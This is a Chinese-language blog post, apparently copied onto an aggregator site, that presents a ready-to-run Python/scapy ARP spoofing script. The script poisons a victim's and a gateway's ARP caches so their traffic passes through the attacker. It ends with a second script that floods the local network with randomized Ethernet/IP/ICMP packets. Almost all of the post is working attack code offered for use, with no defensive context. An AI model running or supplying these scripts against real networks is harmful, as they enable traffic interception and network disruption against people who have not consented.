arp攻击 python_python之arp攻击
----------------------------------------看到上面的代碼,你笑了嗎?--------------------------------------------------------------------------------------------
好了,不胡鬧了。
正點來了:
#!/usr/bin/python3
# -*- coding: utf-8 -*-
'''
ARP 攻擊腳本
'''
import argparse
import threading
import time
from scapy.all import ARP, Ether, get_if_hwaddr, sendp
from scapy.layers.l2 import getmacbyip
# 注意這里面的幾個方法
# Ether用來構建以太網數據包
# ARP是構建ARP數據包的類
# sendp方法在第二層發送數據包
# getmacbyip方法用于通過ip獲取mac地址
# get_if_hwaddr方法獲取指定網卡的mac地址
def get_mac(tgt_ip):
'''
調用scapy的getmacbyip函數,獲取攻擊目標IP的MAC地址。
'''
tgt_mac = getmacbyip(tgt_ip)
if tgt_mac is not None:
return tgt_mac
else:
print("無法獲取IP為:%s 主機的MAC地址,請檢查目標IP是否存活"%tgt_ip)
def create_arp_station(src_mac, tgt_mac, gateway_ip, tgt_ip):
'''
生成ARP數據包,偽造網關欺騙目標計算機
src_mac:本機的MAC地址,充當中間人
tgt_mac:目標計算機的MAC
gateway_ip:網關的IP,將發往網關的數據指向本機(中間人),形成ARP攻擊
tgt_ip:目標計算機的IP
op=is-at,表示ARP響應
'''
eth = Ether(src=src_mac, dst=tgt_mac)
arp = ARP(hwsrc=src_mac, psrc=gateway_ip, hwdst=tgt_mac, pdst=tgt_ip, op="is-at")
pkt = eth / arp
return pkt
def create_arp_gateway(src_mac, gateway_mac, tgt_ip, gateway_ip):
'''
生成ARP數據包,偽造目標計算機欺騙網關
src_mac:本機的MAC地址,充當中間人
gateway_mac:網關的MAC
tgt_ip:目標計算機的IP,將網關發往目標計算機的數據指向本機(中間人),形成ARP攻擊
gateway_ip:網關的IP
op=is-at,表示ARP響應
'''
eth = Ether(src=src_mac, dst=gateway_mac)
arp = ARP(hwsrc=src_mac, psrc=tgt_ip, hwdst=gateway_mac, pdst=gateway_ip, op="is-at")
pkt = eth / arp
return pkt
def main():
"""
主方法
"""
description = "ARP攻擊腳本"
parser = argparse.ArgumentParser(description=description)
parser.add_argument('-sm', dest='srcmac', type=str, help='發送源計算機的MAC,如果不提供,默認將采用本機的MAC地址')
parser.add_argument('-t', dest='targetip', type=str, help='指定目標計算機IP', required=True)
parser.add_argument('-tm', dest='targetmac', type=str, help='指定目標計算機MAC,如果不提供,默認將根據其IP獲取MAC地址')
parser.add_argument('-g', dest='gatewayip', type=str, help='指定網關IP', required=True)
parser.add_argument('-gm', dest='gatewaymac', type=str, help='指定網關MAC,如果不提供,默認將根據其IP獲取MAC地址')
parser.add_argument('-i', dest='interface', type=str, help='指定使用的網卡', required=True)
parser.add_argument('-a', dest='allarp', action='store_true', help='是否進行全網arp欺騙')
args = parser.parse_args()
tgt_ip = args.targetip
gateway_ip = args.gatewayip
interface = args.interface
srcmac = args.srcmac
targetmac = args.targetmac
gatewaymac = args.gatewaymac
if tgt_ip is None or gateway_ip is None or interface is None:
print(parser.print_help())
exit(0)
src_mac = srcmac
if src_mac is None:
src_mac = get_if_hwaddr(interface)
print('本機MAC地址是:', src_mac)
print("目標計算機IP地址是:", tgt_ip)
tgt_mac = targetmac
if tgt_mac is None:
tgt_mac = get_mac(tgt_ip)
print("目標計算機MAC地址是:", tgt_mac)
print("網關IP地址是:", gateway_ip)
gateway_mac = gatewaymac
if gateway_mac is None:
gateway_mac = get_mac(gateway_ip)
print("網關MAC地址是:", gateway_mac)
input('按任意鍵繼續:')
pkt_station = create_arp_station(src_mac, tgt_mac, gateway_ip, tgt_ip)
pkt_gateway = create_arp_gateway(src_mac, gateway_mac, tgt_ip, gateway_ip)
# 如果不展示發送情況的話下面的語句可以更加簡便直接用sendp方法提供的功能循環發送即可,不需要多線程和死循環。
# sendp(pkt_station, inter=1, loop=1)
# sendp(pkt_gateway, inter=1, loop=1)
i = 1
while True:
t = threading.Thread(
target=sendp,
args=(pkt_station,),
kwargs={'inter':1, 'iface':interface}
)
t.start()
t.join()
print(str(i) + "
發送一個計算機ARP欺騙包")
s = threading.Thread(
target=sendp,
args=(pkt_gateway,),
kwargs={'inter':1, 'iface':interface}
)
s.start()
s.join()
print(str(i) + "
發送一個網關ARP欺騙包")
i += 1
time.sleep(1)
if __name__ == '__main__':
main()
———————————————————————————無恥分界線———————————————————————
最后,給大家來段洪水攻擊————代碼啦
#!/usr/bin/python
import sys
from scapy.all import *
import time
iface="eth0"
if len(sys.argv)>=1:
iface=sys.argv[1]
while True:
packet= Ether(src=RandMAC("*:*:*:*:*:*"),
dst=RandMAC("*:*:*:*:*:*")) / \
IP(src=RandIP("*.*.*.*"),
dst=RandIP("*.*.*.*")) / \
ICMP()
time.sleep(0.5)
sendp(packet,iface=iface,loop=0)
創作挑戰賽新人創作獎勵來咯,堅持創作打卡瓜分現金大獎總結
以上是生活随笔為你收集整理的arp攻击 python_python之arp攻击的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: h5大转盘 php,HTML5 can
- 下一篇: html改元素怎么保存,是否可以在NW.